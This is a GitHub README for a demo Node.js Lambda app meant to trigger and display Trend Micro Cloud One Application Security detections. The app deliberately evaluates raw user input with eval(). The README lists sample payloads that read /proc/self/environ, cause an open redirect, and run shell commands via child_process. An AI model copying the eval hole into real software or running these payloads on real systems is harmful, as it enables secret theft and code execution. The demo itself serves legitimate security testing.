Skip to content

A Node.js app that you can easily deploy using the serverless framework. Demonstrates security features of Cloud One Application Security.

Notifications You must be signed in to change notification settings

tlh2857/c1as-node-lambda-demo

Repository files navigation

c1as-node-lambda-demo

This is a demo application that is designed to demonstrate the protective abilities of Trend Micro Cloud One Application Security using a Node.js application hosted on AWS Lambda and API Gateway.

Warning: This Node.js application uses the eval() method to process raw user input. While Cloud One Application Security can protect against a number of attacks, it doesn't not directly protect against Remote Code Injections, and thus you need to ensure that permissions granted to this application follow least priviledges. By default, the Lambda application provisioned by the Serverless Framework has permissions to create and push to a CloudWatch Log Stream.

Prerequisites

  • An AWS account
  • Serverless Framework installed and configured to your AWS account
    • Alternatively, if you don't want to use the serverless framework, you can provision the resources using another method. Note that the solution provisions an API Gateway with Lambda proxy integration. The Lambda functions needs a custom runtime and this Lambda layer ARN to be associated: arn:aws:lambda:us-east-1:800880067056:layer:CloudOne-ApplicationSecurity-runtime-nodejs12_x:1.
    • The Serverless Framework requires Node.js to be installed locally. Here are the Serverless Framework Installation Instructions
    • To configure the Serverless Framework with your AWS credentials, follow these instructions.
  • A Cloud One account with an Application Security Security group and associated credentials

Installation

  1. Clone/download the repository

  2. In the root directory, open the file called "trend_app_protect.json" and edit the "key" and "secret" values with those of your Security group.

  3. Open a command line terminal in the root directory, and run:

npm install
serverless deploy
  1. Head the API endpoint in the logs generated by running the serverless deploy command. It should look something like this:

Testing Different Security Modules

Malicious Payload

  1. Paste the following scripts into the form labeled "Eval Form":
POST /login HTTP/1.1
Host: vulnerable-website.com
  1. Click on the "Submit" button.
  2. Go to the Cloud One Applicaiton Security Console to view the attack event.

Malicious File Upload

  1. Download a malware TEST file from eicar
  2. Click on 'Upload File', select the eicar test file, and then hit 'Submit'.
  3. Go to the Cloud One Applicaiton Security Console to view the attack event.

Illegal File Access

  1. Paste the following scripts into the form labeled "Eval Form":
require('fs').readFileSync('/proc/self/environ').toString()
  1. Click on the "Submit" button.
  2. Go to the Cloud One Applicaiton Security Console to view the attack event.

Open Redirect

  1. Paste the following scripts into the form labeled "Eval Form":
res.redirect(encodeURI('https://www.facebook.com'))
  1. Click on the "Submit" button.
  2. Go to the Cloud One Applicaiton Security Console to view the attack event.

Remote Command Execution

  1. Paste the following scripts into the form labeled "Eval Form":
let time = new Date();
require('fs').writeFileSync(`/tmp/${time}`,`curl http://example.com && touch /tmp/new-${time}`);
const { exec } = require('child_process');
var yourscript = exec(`sh /tmp/${time}`,
        (error, stdout, stderr) => {
            console.log(stdout);
            console.log(stderr);
            if (error !== null) {
                console.log(`exec error: ${error}`);
            }
        });
  1. Click on the "Submit" button.
  2. Go to the Cloud One Applicaiton Security Console to view the attack event.

About

A Node.js app that you can easily deploy using the serverless framework. Demonstrates security features of Cloud One Application Security.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published